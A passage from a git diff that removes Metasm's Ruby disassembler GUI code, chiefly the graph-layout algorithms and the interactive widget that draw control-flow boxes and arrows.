@curcontext.box.find { |b_| b_[:line_address][0] == addr } - @caret_box, @caret_x, @caret_y = b, 0, 0 - @curcontext.view_x += (width/2 / @zoom - width/2) - @curcontext.view_y += (height/2 / @zoom - height/2) - @zoom = 1.0 - - focus_xy(b.x, b.y) - update_caret - return - end - - return if not addr = @dasm.normalize(addr) - if not @dasm.function[addr] - return if not addr = @dasm.find_function_start(addr) - end - return true if @curcontext.root_addrs == [addr] and @graph_mode == mode - @graph_mode = mode - @curcontext = Graph.new('fu') - @curcontext.root_addrs = [addr] - @want_focus_addr = addr - gui_update - true - end -end -end -end diff --git a/lib/metasm/metasm/gui/dasm_graph.rb b/lib/metasm/metasm/gui/dasm_graph.rb deleted file mode 100644 index 30951be1fd..0000000000 --- a/lib/metasm/metasm/gui/dasm_graph.rb +++ /dev/null @@ -1,1695 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -module Metasm -module Gui -class Graph - # one box, has a text, an id, and a list of other boxes to/from - class Box - attr_accessor :id, :x, :y, :w, :h - attr_accessor :to, :from # other boxes linked (arrays) - attr_accessor :content - attr_accessor :direct_to - def initialize(id, content=nil) - @id = id - @x = @y = @w = @h = 0 - @to, @from = [], [] - @content = content - end - def [](a) @content[a] end - #def inspect ; puts caller ; "#{Expression[@id] rescue @id.inspect}" end - end - - attr_accessor :id, :box, :box_id, :root_addrs, :view_x, :view_y, :keep_split - def initialize(id) - @id = id - @root_addrs = [] - @view_x = @view_y = -0xfff_ffff - clear - end - - # empty @box - def clear - @box = [] - @box_id = {} - end - - # link the two boxes (by id) - def link_boxes(id1, id2) - raise "unknown index 1 #{id1}" if not b1 = @box_id[id1] - raise "unknown index 2 #{id2}" if not b2 = @box_id[id2] - b1.to |= [b2] - b2.from |= [b1] - end - - # creates a new box, ensures id is not already taken - def new_box(id, content=nil) - raise "duplicate id #{id}" if @box_id[id] - b = Box.new(id, content) - @box << b - @box_id[id] = b - b - end - - # returns the [x1, y1, x2, y2] of the rectangle encompassing all boxes - def boundingbox - minx = @box.map { |b| b.x }.min.to_i - miny = @box.map { |b| b.y }.min.to_i - maxx = @box.map { |b| b.x + b.w }.max.to_i - maxy = @box.map { |b| b.y + b.h }.max.to_i - [minx, miny, maxx, maxy] - end - - # a -> b -> c -> d (no other in/outs) - def pattern_layout_col(groups) - # find head - return if not head = groups.find { |g| - g.to.length == 1 and - g.to[0].from.length == 1 and - (g.from.length != 1 or g.from[0].to.length != 1) - } - - # find full sequence - ar = [head] - while head.to.length == 1 and head.to[0].from.length == 1 - head = head.to[0] - ar << head - end - - # move boxes inside this group - maxw = ar.map { |g| g.w }.max - fullh = ar.inject(0) { |h, g| h + g.h } - cury = -fullh/2 - ar.each { |g| - dy = cury - g.y - g.content.each { |b| b.y += dy } - cury += g.h - } - - # create remplacement group - newg = Box.new(nil, ar.map { |g| g.content }.flatten) - newg.w = maxw - newg.h = fullh - newg.x = -newg.w/2 - newg.y = -newg.h/2 - newg.from = ar.first.from - ar - newg.to = ar.last.to - ar - # fix xrefs - newg.from.each { |g| g.to -= ar ; g.to << newg } - newg.to.each { |g| g.from -= ar ; g.from << newg } - # fix groups - groups[groups.index(head)] = newg - ar.each { |g| groups.delete g } - - true - end - - # if a group has no content close to its x/x+w borders, shrink it - def group_remove_hz_margin(g, maxw=16) - if g.content.empty? - g.x = -maxw/2 if g.x < -maxw/2 - g.w = maxw if g.w > maxw - return - end - - margin_left = g.content.map { |b| b.x }.min - g.x - margin_right = g.x+g.w - g.content.map { |b| b.x+b.w }.max - if margin_left + margin_right > maxw - g.w -= margin_left + margin_right - maxw - dx = (maxw/2 + margin_right - margin_left)/2 - g.content.each { |b| b.x += dx } - g.x = -g.w/2 - end - end - - # a -> [b, c, d] -> e - def pattern_layout_line(groups) - # find head - ar = [] - groups.each { |g| - if g.from.length == 1 and g.to.length <= 1 and g.from.first.to.length > 1 - ar = g.from.first.to.find_all { |gg| gg.from == g.from and gg.to == g.to } - elsif g.from.empty? and g.to.length == 1 and g.to.first.from.length > 1 - ar = g.to.first.from.find_all { |gg| gg.from == g.from and gg.to == g.to } - else ar = [] - end - break if ar.length > 1 - } - return if ar.length <= 1 - - ar.each { |g| group_remove_hz_margin(g) } - - # move boxes inside this group - #ar = ar.sort_by { |g| -g.h } - maxh = ar.map { |g| g.h }.max - fullw = ar.inject(0) { |w, g| w + g.w } - curx = -fullw/2 - ar.each { |g| - # if no to, put all boxes at bottom ; if no from, put them at top - case [g.from.length, g.to.length] - when [1, 0]; dy = (g.h - maxh)/2 - when [0, 1]; dy = (maxh - g.h)/2 - else dy = 0 - end - - dx = curx - g.x - g.content.each { |b| b.x += dx ; b.y += dy } - curx += g.w - } - # add a 'margin-top' proportionnal to the ar width - # this gap should be relative to the real boxes and not possible previous gaps when - # merging lines (eg long line + many if patterns -> dont duplicate gaps) - boxen = ar.map { |g| g.content }.flatten - realh = boxen.map { |g| g.y + g.h }.max - boxen.map { |g| g.y }.min - if maxh < realh + fullw/4 - maxh = realh + fullw/4 - end - - # create remplacement group - newg = Box.new(nil, ar.map { |g| g.content }.flatten) - newg.w = fullw - newg.h = maxh - newg.x = -newg.w/2 - newg.y = -newg.h/2 - newg.from = ar.first.from - newg.to = ar.first.to - # fix xrefs - newg.from.each { |g| g.to -= ar ; g.to << newg } - newg.to.each { |g| g.from -= ar ; g.from << newg } - # fix groups - groups[groups.index(ar.first)] = newg - ar.each { |g| groups.delete g } - - true - end - - # a -> b -> c & a -> c - def pattern_layout_ifend(groups) - # find head - return if not head = groups.find { |g| - g.to.length == 2 and - ((g.to[0].from.length == 1 and g.to[0].to.length == 1 and g.to[0].to[0] == g.to[1]) or - (g.to[1].from.length == 1 and g.to[1].to.length == 1 and g.to[1].to[0] == g.to[0])) - } - - if head.to[0].to.include?(head.to[1]) - ten = head.to[0] - else - ten = head.to[1] - end - - # stuff 'then' inside the 'if' - # move 'if' up, 'then' down - head.content.each { |g| g.y -= ten.h/2 } - ten.content.each { |g| g.y += head.h/2 } - head.h += ten.h - head.y -= ten.h/2 - - # widen 'if' - # this adds a phantom left side - # drop existing margins first - group_remove_hz_margin(ten) - dw = ten.w - head.w/2 - if dw > 0 - # need to widen head to fit ten - head.w += 2*dw - head.x -= dw - end - - # merge - ten.content.each { |g| g.x += -ten.x } - head.content.concat ten.content - - head.to.delete ten - head.to[0].from.delete ten - - groups.delete ten - - true - - end - - def pattern_layout_complex(groups) - order = order_graph(groups) - uniq = nil - if groups.sort_by { |g| order[g] }.find { |g| - next if g.to.length <= 1 - # list all nodes reachable for every 'to' - reach = g.to.map { |t| list_reachable(t) } - # list all nodes reachable only from a single 'to' - uniq = [] - reach.each_with_index { |r, i| - # take all nodes reachable from there ... - u = uniq[i] = r.dup - u.delete_if { |k, v| k.content.empty? } # ignore previous layout_complex artifacts - reach.each_with_index { |rr, ii| - next if i == ii - # ... and delete nodes reachable from anywhere else - rr.each_key { |k| u.delete k } - } - } - uniq.delete_if { |u| u.length <= 1 } - !uniq.empty? - } - # now layout every uniq subgroup independently - uniq.each { |u| - subgroups = groups.find_all { |g| u[g] } - - # isolate subgroup from external links - # change all external links into a single empty box - newtop = Box.new(nil, []) - newtop.x = -8 ; newtop.y = -9 - newtop.w = 16 ; newtop.h = 18 - newbot = Box.new(nil, []) - newbot.x = -8 ; newbot.y = -9 - newbot.w = 16 ; newbot.h = 18 - hadfrom = [] ; hadto = [] - subgroups.each { |g| - g.to.dup.each { |t| - next if u[t] - newbot.from |= [g] - g.to.delete t - hadto << t - g.to |= [newbot] - } - g.from.dup.each { |f| - next if u[f] - newtop.to |= [g] - g.from.delete f - hadfrom << f - g.from |= [newtop] - } - } - subgroups << newtop << newbot - - # subgroup layout - auto_arrange_step(subgroups) while subgroups.length > 1 - newg = subgroups[0] - - # patch 'groups' - idx = groups.index { |g| u[g] } - groups.delete_if { |g| u[g] } - groups[idx, 0] = [newg] - - # restore external links & fix xrefs - hadfrom.uniq.each { |f| - f.to.delete_if { |t| u[t] } - f.to |= [newg] - newg.from |= [f] - } - hadto.uniq.each { |t| - t.from.delete_if { |f| u[f] } - t.from |= [newg] - newg.to |= [t] - } - } - - true - end - end - - # find the minimal set of nodes from which we can reach all others - # this is done *before* removing cycles in the graph - # returns the order (Hash group => group_order) - # roots have an order of 0 - def order_graph(groups) - roots = groups.find_all { |g| g.from.empty? } - o = {} # tentative order - todo = [] - - loop do - roots.each { |g| - o[g] ||= 0 - todo |= g.to.find_all { |gg| not o[gg] } - } - - # order nodes from the tentative roots - until todo.empty? - n = todo.find { |g| g.from.all? { |gg| o[gg] } } || order_solve_cycle(todo, o) - todo.delete n - o[n] = n.from.map { |g| o[g] }.compact.max + 1 - todo |= n.to.find_all { |g| not o[g] } - end - break if o.length >= groups.length - - # pathological cases - - if noroot = groups.find_all { |g| o[g] and g.from.find { |gg| not o[gg] } }.sort_by { |g| o[g] }.first - # we picked a root in the middle of the graph, walk up - todo |= noroot.from.find_all { |g| not o[g] } - until todo.empty? - n = todo.find { |g| g.to.all? { |gg| o[gg] } } || - todo.sort_by { |g| g.to.map { |gg| o[gg] }.compact.min }.first - todo.delete n - o[n] = n.to.map { |g| o[g] }.compact.min - 1 - todo |= n.from.find_all { |g| not o[g] } - end - # setup todo for next fwd iteration - todo |= groups.find_all { |g| not o[g] and g.from.find { |gg| o[gg] } } - else - # disjoint graph, start over from one other random node - roots << groups.find { |g| not o[g] } - end - end - - if o.values.find { |rank| rank < 0 } - # did hit a pathological case, restart with found real roots - roots = groups.find_all { |g| not g.from.find { |gg| o[gg] < o[g] } } - o = {} - todo = [] - roots.each { |g| - o[g] ||= 0 - todo |= g.to.find_all { |gg| not o[gg] } - } - until todo.empty? - n = todo.find { |g| g.from.all? { |gg| o[gg] } } || order_solve_cycle(todo, o) - todo.delete n - o[n] = n.from.map { |g| o[g] }.compact.max + 1 - todo |= n.to.find_all { |g| not o[g] } - end - - # there's something screwy around here ! - raise "moo" if o.length < groups.length - end - - o - end - - def order_solve_cycle(todo, o) - # 'todo' has no trivial candidate - # pick one node from todo which no other todo can reach - # exclude pathing through already ordered nodes - todo.find { |t1| - not todo.find { |t2| t1 != t2 and can_find_path(t2, t1, o.dup) } - } || - # some cycle heads are mutually recursive - todo.sort_by { |t1| - # find the one who can reach the most others - [todo.find_all { |t2| t1 != t2 and can_find_path(t1, t2, o.dup) }.length, - # and with the highest rank - t1.from.map { |gg| o[gg] }.compact.max] - }.last - end - - # checks if there is a path from src to dst avoiding stuff in 'done' - def can_find_path(src, dst, done={}) - todo = [src] - while g = todo.pop - next if done[g] - return true if g == dst - done[g] = true - todo.concat g.to - end - false - end - - # returns a hash with true for every node reachable from src (included) - def list_reachable(src, done={}) - todo = [src] - while g = todo.pop - next if done[g] - done[g] = true - todo.concat g.to - end - done - end - - # revert looping edges in groups - def make_tree(groups, order) - # now we have the roots and node orders - # revert cycling edges - o(chld) < o(parent) - order.each_key { |g| - g.to.dup.each { |gg| - if order[gg] < order[g] - # cycling edge, revert - g.to.delete gg - gg.from.delete g - g.from |= [gg] - gg.to |= [g] - end - } - } - end - - # group groups in layers of same order - # create dummy groups along long edges so that no path exists between non-contiguous layers - def create_layers(groups, order) - newemptybox = lambda { - b = Box.new(nil, []) - b.x = -8 - b.y = -9 - b.w = 16 - b.h = 18 - groups << b - b - } - - newboxo = {} - - order.each_key { |g| - og = order[g] || newboxo[g] - g.to.dup.each { |gg| - ogg = order[gg] || newboxo[gg] - if ogg > og+1 - # long edge, expand - sq = [g] - (ogg - 1 - og).times { |i| sq << newemptybox[] } - sq << gg - gg.from.delete g - g.to.delete gg - newboxo[g] ||= order[g] - sq.inject { |g1, g2| - g1.to |= [g2] - g2.from |= [g1] - newboxo[g2] = newboxo[g1]+1 - g2 - } - raise if newboxo[gg] != ogg - end - } - } - - order.update newboxo - - # layers[o] = [list of nodes of order o] - layers = [] - groups.each { |g| - (layers[order[g]] ||= []) << g - } - - layers - end - - # take all groups, order them by order, layout as layers - # always return a single group holding everything - def layout_layers(groups) - order = order_graph(groups) - # already a tree - layers = create_layers(groups, order) - return if layers.empty? - - layers.each { |l| l.each { |g| group_remove_hz_margin(g) } } - - # widest layer width - maxlw = layers.map { |l| l.inject(0) { |ll, g| ll + g.w } }.max - - # center the 1st layer boxes on a segment that large - x0 = -maxlw/2.0 - curlw = layers[0].inject(0) { |ll, g| ll + g.w } - dx0 = (maxlw - curlw) / (2.0*layers[0].length) - layers[0].each { |g| - x0 += dx0 - g.x = x0 - x0 += g.w + dx0 - } - - # at this point, the goal is to reorder the most populated layer the best we can, and - # move other layers' boxes accordingly - layers[1..-1].each { |l| - # for each subsequent layer, reorder boxes based on their ties with the previous layer - i = 0 - l.replace l.sort_by { |g| - # we know g.from is not empty (g would be in @layer[0]) - medfrom = g.from.inject(0.0) { |mx, gg| mx + (gg.x + gg.w/2.0) } / g.from.length - # on ties, keep original order - [medfrom, i] - } - # now they are reordered, update their #x accordingly - # evenly distribute them in the layer - x0 = -maxlw/2.0 - curlw = l.inject(0) { |ll, g| ll + g.w } - dx0 = (maxlw - curlw) / (2.0*l.length) - l.each { |g| - x0 += dx0 - g.x = x0 - x0 += g.w + dx0 - } - } - - layers[0...-1].reverse_each { |l| - # for each subsequent layer, reorder boxes based on their ties with the previous layer - i = 0 - l.replace l.sort_by { |g| - if g.to.empty? - # TODO floating end - medfrom = 0 - else - medfrom = g.to.inject(0.0) { |mx, gg| mx + (gg.x + gg.w/2.0) } / g.to.length - end - # on ties, keep original order - [medfrom, i] - } - # now they are reordered, update their #x accordingly - x0 = -maxlw/2.0 - curlw = l.inject(0) { |ll, g| ll + g.w } - dx0 = (maxlw - curlw) / (2.0*l.length) - l.each { |g| - x0 += dx0 - g.x = x0 - x0 += g.w + dx0 - } - } - - # now the boxes are (hopefully) sorted correctly - # position them according to their ties with prev/next layer - # from the maxw layer (positionning = packed), propagate adjacent layers positions - maxidx = (0..layers.length).find { |i| l = layers[i] ; l.inject(0) { |ll, g| ll + g.w } == maxlw } - # list of layer indexes to walk - ilist = [maxidx] - ilist.concat((maxidx+1...layers.length).to_a) if maxidx < layers.length-1 - ilist.concat((0..maxidx-1).to_a.reverse) if maxidx > 0 - layerbox = [] - ilist.each { |i| - l = layers[i] - curlw = l.inject(0) { |ll, g| ll + g.w } - # left/rightmost acceptable position for the current box w/o overflowing on the right side - minx = -maxlw/2.0 - maxx = minx + (maxlw-curlw) - - # replace whole layer with a box - newg = layerbox[i] = Box.new(nil, l.map { |g| g.content }.flatten) - newg.w = maxlw - newg.h = l.map { |g| g.h }.max - newg.x = -newg.w/2 - newg.y = -newg.h/2 - # dont care for from/to, we'll return a single box anyway - - l.each { |g| - ref = (i < maxidx) ? g.to : g.from - # TODO elastic positionning around the ideal position - # (g and g+1 may have the same med, then center both on it) - if i == maxidx - nx = minx - elsif ref.empty? - nx = (minx+maxx)/2 - else - # center on the outline of rx - # may want to center on rx center's center ? - rx = ref.sort_by { |gg| gg.x } - med = (rx.first.x + rx.last.x + rx.last.w - g.w) / 2.0 - nx = [[med, minx].max, maxx].min - end - dx = nx+g.w/2 - g.content.each { |b| b.x += dx } - minx = nx+g.w - maxx += g.w - } - } - - newg = Box.new(nil, layerbox.map { |g| g.content }.flatten) - newg.w = layerbox.map { |g| g.w }.max - newg.h = layerbox.inject(0) { |h, g| h + g.h } - newg.x = -newg.w/2 - newg.y = -newg.h/2 - - # vertical: just center each box on its layer - y0 = newg.y - layerbox.each { |lg| - lg.content.each { |b| - b.y += y0-lg.y - } - y0 += lg.h - } - - groups.replace [newg] - end - - - # place boxes in a good-looking layout - # create artificial 'group' container for boxes, that will later be merged in geometrical patterns - def auto_arrange_init - # 'group' is an array of boxes - # all groups are centered on the origin - h = {} # { box => group } - @groups = @box.map { |b| - b.x = -b.w/2 - b.y = -b.h/2 - g = Box.new(nil, [b]) - g.x = b.x - 8 - g.y = b.y - 9 - g.w = b.w + 16 - g.h = b.h + 18 - h[b] = g - g - } - - # init group.to/from - # must always point to something that is in the 'groups' array - # no self references - # a box is in one and only one group in 'groups' - @groups.each { |g| - g.to = g.content.first.to.map { |t| h[t] if t != g }.compact - g.from = g.content.first.from.map { |f| h[f] if f != g }.compact - } - - # order boxes - order = order_graph(@groups) - - # remove cycles from the graph - make_tree(@groups, order) - end - - def auto_arrange_step(groups=@groups) - pattern_layout_col(groups) or pattern_layout_line(groups) or - pattern_layout_ifend(groups) or pattern_layout_complex(groups) or - layout_layers(groups) - end - - def auto_arrange_post - auto_arrange_movebox - #auto_arrange_vertical_shrink - end - - # actually move boxes inside the groups - def auto_arrange_movebox - @groups.each { |g| - dx = (g.x + g.w/2).to_i - dy = (g.y + g.h/2).to_i - g.content.each { |b| - b.x += dx - b.y += dy - } - } - end - - def auto_arrange_vertical_shrink - # vertical shrink - # TODO stuff may shrink vertically more if we could move it slightly horizontally... - @box.sort_by { |b| b.y }.each { |b| - - next if b.from.empty? - # move box up to its from, unless something blocks the way - - min_y = b.from.map { |bb| - bb.y+bb.h - }.find_all { |by| - by <= b.y - }.max - - moo = [] - moo << 8*b.from.length - moo << 8*b.from[0].to.length - cx = b.x+b.w/2 - moo << b.from.map { |bb| (cx - (bb.x+bb.w/2)).abs }.max / 10 - cx = b.from[0].x+b.from[0].w/2 - moo << b.from[0].to.map { |bb| (cx - (bb.x+bb.w/2)).abs }.max / 10 - margin_y = 16 + moo.max - - next if not min_y or b.y <= min_y + margin_y - - blocking = @box.find_all { |bb| - next if bb == b - bb.y+bb.h > min_y and bb.y+bb.h < b.y and - bb.x-12 < b.x+b.w and bb.x+bb.w+12 > b.x - } - - may_y = blocking.map { |bb| bb.y+bb.h } << min_y - - do_y = may_y.sort.map { |by| by + margin_y }.find { |by| - # should not collision with b if moved to by+margin_y - not blocking.find { |bb| - bb.x-12 < b.x+b.w and bb.x+bb.w+12 > b.x and - bb.y-12 < by+b.h and bb.y+bb.h+12 > by - } - } - - b.y = do_y if do_y < b.y - - # no need to re-sort outer loop - } - - # TODO - # energy-minimal positionning of boxes from this basic layout - # avoid arrow confusions - end - - def auto_arrange_boxes - auto_arrange_init - nil while @groups.length > 1 and auto_arrange_step - auto_arrange_post - @groups = [] - end - - # gives a text representation of the current graph state - def dump_layout(groups=@groups) - groups.map { |g| "#{groups.index(g)} -> #{g.to.map { |t| groups.index(t) }.sort.inspect}" } - end -end - - - - - -class GraphViewWidget < DrawableWidget - attr_accessor :dasm, :caret_box, :curcontext, :zoom, :margin - # bool, specifies if we should display addresses before instrs - attr_accessor :show_addresses - - def initialize_widget(dasm, parent_widget) - @dasm = dasm - @parent_widget = parent_widget - - @show_addresses = false - - @caret_box = nil - @selected_boxes = [] - @shown_boxes = [] - @mousemove_origin = @mousemove_origin_ctrl = nil - @curcontext = Graph.new(nil) - @want_focus_addr = nil - @margin = 8 - @zoom = 1.0 - @default_color_association = ColorTheme.merge :hlbox_bg => :palegrey, :box_bg => :white, - :arrow_hl => :red, :arrow_cond => :darkgreen, :arrow_uncond => :darkblue, - :arrow_direct => :darkred, :box_bg_shadow => :black, :background => :paleblue - # @othergraphs = ? (to keep user-specified formatting) - end - - def view_x; @curcontext.view_x; end - def view_x=(vx); @curcontext.view_x = vx; end - def view_y; @curcontext.view_y; end - def view_y=(vy); @curcontext.view_y = vy; end - - def resized(w, h) - redraw - end - - def find_box_xy(x, y) - x = view_x+x/@zoom - y = view_y+y/@zoom - @shown_boxes.to_a.reverse.find { |b| b.x <= x and b.x+b.w > x and b.y <= y-1 and b.y+b.h > y+1 } - end - - def mouse_wheel_ctrl(dir, x, y) - case dir - when :up - if @zoom < 100 - # zoom in - oldzoom = @zoom - @zoom *= 1.1 - @zoom = 1.0 if (@zoom-1.0).abs < 0.05 - @curcontext.view_x += (x / oldzoom - x / @zoom) - @curcontext.view_y += (y / oldzoom - y / @zoom) - end - when :down - if @zoom > 1.0/1000 - # zoom out - oldzoom = @zoom - @zoom /= 1.1 - @zoom = 1.0 if (@zoom-1.0).abs < 0.05 - @curcontext.view_x += (x / oldzoom - x / @zoom) - @curcontext.view_y += (y / oldzoom - y / @zoom) - end - end - redraw - end - - def mouse_wheel(dir, x, y) - case dir - when :up; @curcontext.view_y -= height/4 / @zoom - when :down; @curcontext.view_y += height/4 / @zoom - end - redraw - end - - def mousemove(x, y) - return if not @mousemove_origin - - dx = (x - @mousemove_origin[0])/@zoom - dy = (y - @mousemove_origin[1])/@zoom - @mousemove_origin = [x, y] - if @selected_boxes.empty? - @curcontext.view_x -= dx ; @curcontext.view_y -= dy - else - @selected_boxes.each { |b| b.x += dx ; b.y += dy } - end - redraw - end - - def mouserelease(x, y) - mousemove(x, y) - @mousemove_origin = nil - - if @mousemove_origin_ctrl - x1 = view_x + @mousemove_origin_ctrl[0]/@zoom - x2 = x1 + (x - @mousemove_origin_ctrl[0])/@zoom - x1, x2 = x2, x1 if x1 > x2 - y1 = view_y + @mousemove_origin_ctrl[1]/@zoom - y2 = y1 + (y - @mousemove_origin_ctrl[1])/@zoom - y1, y2 = y2, y1 if y1 > y2 - @selected_boxes |= @curcontext.box.find_all { |b| b.x >= x1 and b.x + b.w <= x2 and b.y >= y1 and b.y + b.h <= y2 } - redraw - @mousemove_origin_ctrl = nil - end - end - - def click_ctrl(x, y) - if b = find_box_xy(x, y) - if @selected_boxes.include? b - @selected_boxes.delete b - else - @selected_boxes << b - end - redraw - else - @mousemove_origin_ctrl = [x, y] - end - end - - def click(x, y) - @mousemove_origin = [x, y] - if b = find_box_xy(x, y) - @selected_boxes = [b] if not @selected_boxes.include? b - @caret_box = b - @caret_x = (view_x+x/@zoom-b.x-1).to_i / @font_width - @caret_y = (view_y+y/@zoom-b.y-1).to_i / @font_height - update_caret - else - @selected_boxes = [] - @caret_box = nil - end - redraw - end - - def setup_contextmenu(b, m) - cm = new_menu - addsubmenu(cm, 'copy _word') { clipboard_copy(@hl_word) if @hl_word } - addsubmenu(cm, 'copy _line') { clipboard_copy(@caret_box[:line_text_col][@caret_y].map { |ss, cc| ss }.join) } - addsubmenu(cm, 'copy _box') { - sb = @selected_boxes - sb = [@curbox] if sb.empty? - clipboard_copy(sb.map { |ob| ob[:line_text_col].map { |s| s.map { |ss, cc| ss }.join + "\r\n" }.join }.join("\r\n")) - } # XXX auto \r\n vs \n - addsubmenu(m, '_clipboard', cm) - addsubmenu(m, 'clone _window') { @parent_widget.clone_window(@hl_word, :graph) } - addsubmenu(m, 'show descendants only') { hide_non_descendants(@selected_boxes) } - addsubmenu(m, 'show ascendants only') { hide_non_ascendants(@selected_boxes) } - addsubmenu(m, 'restore graph') { gui_update } - end - - # if the target is a call to a subfunction, open a new window with the graph of this function (popup) - def rightclick(x, y) - if b = find_box_xy(x, y) and @zoom >= 0.90 and @zoom <= 1.1 - click(x, y) - @mousemove_origin = nil - m = new_menu - setup_contextmenu(b, m) - if @parent_widget.respond_to?(:extend_contextmenu) - @parent_widget.extend_contextmenu(self, m, @caret_box[:line_address][@caret_y]) - end - popupmenu(m, x, y) - end - end - - def doubleclick(x, y) - @mousemove_origin = nil - if b = find_box_xy(x, y) - if @hl_word and @zoom >= 0.90 and @zoom <= 1.1 - @parent_widget.focus_addr(@hl_word) - else - @parent_widget.focus_addr((b[:addresses] || b[:line_address]).first) - end - elsif doubleclick_check_arrow(x, y) - elsif @zoom == 1.0 - zoom_all - else - @curcontext.view_x += (x/@zoom - x) - @curcontext.view_y += (y/@zoom - y) - @zoom = 1.0 - end - redraw - end - - # check if the user clicked on the beginning/end of an arrow, if so focus on the other end - def doubleclick_check_arrow(x, y) - return if @margin*@zoom < 2 - x = view_x+x/@zoom - y = view_y+y/@zoom - sx = nil - if bt = @shown_boxes.to_a.reverse.find { |b| - y >= b.y+b.h-1 and y <= b.y+b.h-1+@margin+2 and - sx = b.x+b.w/2 - b.to.length/2 * @margin/2 and - x >= sx-@margin/2 and x <= sx+b.to.length*@margin/2 # should be margin/4, but add a little comfort margin - } - idx = (x-sx+@margin/4).to_i / (@margin/2) - idx = 0 if idx < 0 - idx = bt.to.length-1 if idx >= bt.to.length - if bt.to[idx] - if @parent_widget - @caret_box, @caret_y = bt, bt[:line_address].length-1 - @parent_widget.focus_addr bt.to[idx][:line_address][0] - else - focus_xy(bt.to[idx].x, bt.to[idx].y) - end - end - true - elsif bf = @shown_boxes.to_a.reverse.find { |b| - y >= b.y-@margin-2 and y <= b.y and - sx = b.x+b.w/2 - b.from.length/2 * @margin/2 and - x >= sx-@margin/2 and x <= sx+b.from.length*@margin/2 - } - idx = (x-sx+@margin/4).to_i / (@margin/2) - idx = 0 if idx < 0 - idx = bf.from.length-1 if idx >= bf.from.length - if bf.from[idx] - if @parent_widget - @caret_box, @caret_y = bf, bf[:line_address].length-1 - @parent_widget.focus_addr bf.from[idx][:line_address][-1] - else - focus_xy(bt.from[idx].x, bt.from[idx].y) - end - end - true - end - end - - # update the zoom & view_xy to show the whole graph in the window - def zoom_all - minx, miny, maxx, maxy = @curcontext.boundingbox - minx -= @margin - miny -= @margin - maxx += @margin - maxy += @margin - - @zoom = [width.to_f/(maxx-minx), height.to_f/(maxy-miny)].min - @zoom = 1.0 if @zoom > 1.0 or (@zoom-1.0).abs < 0.1 - @curcontext.view_x = minx + (maxx-minx-width/@zoom)/2 - @curcontext.view_y = miny + (maxy-miny-height/@zoom)/2 - redraw - end - - def paint - update_graph if @want_update_graph - if @want_focus_addr and @curcontext.box.find { |b_| b_[:line_address].index(@want_focus_addr) } - focus_addr(@want_focus_addr, false) - @want_focus_addr = nil - #zoom_all - end - - @curcontext.box.each { |b| - # reorder arrows so that endings do not overlap - b.to = b.to.sort_by { |bt| bt.x+bt.w/2 } - b.from = b.from.sort_by { |bt| bt.x+bt.w/2 } - } - # arrows drawn first to stay under the boxes - # XXX precalc ? - @curcontext.box.each { |b| - b.to.each { |bt| paint_arrow(b, bt) } - } - - @shown_boxes = [] - w_w = width - w_h = height - @curcontext.box.each { |b| - next if b.x >= view_x+w_w/@zoom or b.y >= view_y+w_h/@zoom or b.x+b.w <= view_x or b.y+b.h <= view_y - @shown_boxes << b - paint_box(b) - } - end - - def set_color_arrow(b1, b2) - if b1 == @caret_box or b2 == @caret_box - draw_color :arrow_hl - elsif b1.to.length == 1 - draw_color :arrow_uncond - elsif b1.direct_to == b2.id - draw_color :arrow_direct - else - draw_color :arrow_cond - end - end - - def paint_arrow(b1, b2) - x1 = x1o = b1.x+b1.w/2-view_x - y1 = b1.y+b1.h-view_y - x2 = x2o = b2.x+b2.w/2-view_x - y2 = b2.y-1-view_y - margin = @margin - x1 += (-(b1.to.length-1)/2 + b1.to.index(b2)) * margin/2 - x2 += (-(b2.from.length-1)/2 + b2.from.index(b1)) * margin/2 - return if (y1+margin < 0 and y2 < 0) or (y1 > height/@zoom and y2-margin > height/@zoom) # just clip on y - margin, x1, y1, x2, y2, b1w, b2w, x1o, x2o = [margin, x1, y1, x2, y2, b1.w, b2.w, x1o, x2o].map { |v| v*@zoom } - - - # straighten vertical arrows if possible - if y2 > y1 and (x1-x2).abs <= margin - if b1.to.length == 1 - x1 = x2 - elsif b2.from.length == 1 - x2 = x1 - end - end - - set_color_arrow(b1, b2) - if margin > 1 - # draw arrow tip - draw_line(x1, y1, x1, y1+margin) - draw_line(x2, y2-margin+1, x2, y2) - draw_line(x2-margin/2, y2-margin/2, x2, y2) - draw_line(x2+margin/2, y2-margin/2, x2, y2) - y1 += margin - y2 -= margin-1 - end - - if y2 > y1 - b1.h*@zoom - 2*margin+1 - # straight arrow - draw_line(x1, y1, x2, y2) if x1 != y1 or x2 != y2 - - else - # arrow goes up: navigate around b2 - x = (x1 <= x2 ? [x1o-b1w/2-margin, x2o-b2w/2-margin].min : [x1o+b1w/2+margin, x2o+b2w/2+margin].max) - draw_line(x1, y1, x, y1) - draw_line(x, y1, x, y2) - draw_line(x, y2, x2, y2) - draw_line(x1, y1+1, x, y1+1) # double - draw_line(x+1, y1, x+1, y2) - draw_line(x, y2+1, x2, y2+1) - end - end - - def set_color_boxshadow(b) - draw_color :box_bg_shadow - end - - def set_color_box(b) - if @selected_boxes.include? b - draw_color :hlbox_bg - else - draw_color :box_bg - end - end - - def paint_box(b) - set_color_boxshadow(b) - draw_rectangle((b.x-view_x+3)*@zoom, (b.y-view_y+4)*@zoom, b.w*@zoom, b.h*@zoom) - set_color_box(b) - draw_rectangle((b.x-view_x)*@zoom, (b.y-view_y+1)*@zoom, b.w*@zoom, b.h*@zoom) - - # current text position - x = (b.x - view_x + 1)*@zoom - y = (b.y - view_y + 1)*@zoom - w_w = (b.x - view_x + b.w - @font_width)*@zoom - w_h = (b.y - view_y + b.h - @font_height)*@zoom - w_h = height if w_h > height - - if @parent_widget and @parent_widget.bg_color_callback - ly = 0 - b[:line_address].each { |a| - if c = @parent_widget.bg_color_callback[a] - draw_rectangle_color(c, (b.x-view_x)*@zoom, (1+b.y-view_y+ly*@font_height)*@zoom, b.w*@zoom, (@font_height*@zoom).ceil) - end - ly += 1 - } - end - - if @caret_box == b - draw_rectangle_color(:cursorline_bg, (b.x-view_x)*@zoom, (1+b.y-view_y+@caret_y*@font_height)*@zoom, b.w*@zoom, @font_height*@zoom) - end - - return if @zoom < 0.99 or @zoom > 1.1 - # TODO dynamic font size ? - - # renders a string at current cursor position with a color - # must not include newline - render = lambda { |str, color| - next if y >= w_h+2 or x >= w_w - draw_string_hl(color, x, y, str) - x += str.length * @font_width - } - - yoff = @font_height * @zoom - b[:line_text_col].each { |list| - list.each { |s, c| render[s, c] } if y >= -yoff - x = (b.x - view_x + 1)*@zoom - y += yoff - break if y > w_h+2 - } - - if b == 